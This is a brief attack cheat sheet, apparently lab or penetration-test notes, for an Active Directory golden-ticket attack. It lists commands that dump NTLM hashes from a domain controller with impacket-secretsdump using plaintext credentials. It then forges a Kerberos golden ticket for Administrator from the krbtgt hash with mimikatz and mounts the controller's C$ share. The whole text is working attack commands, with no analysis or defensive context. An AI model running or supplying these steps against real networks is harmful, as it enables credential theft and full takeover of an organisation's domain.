impacket-secretsdump test.local/wook:wookpass123@$IP -just-dc-ntlm

# take krbtgt NT hash
.\\mimikatz.exe
kerberos::golden /domain:test.local /sid:<SID> /user:Administrator /krbtgt:<krbtgt-NT-Hash> /ptt

# list cached tickets
klist

# connect
# you have to use the machine name instead of the IP address
net use z: \\\\dc1.test.local\\C$

# Go to z drive
z: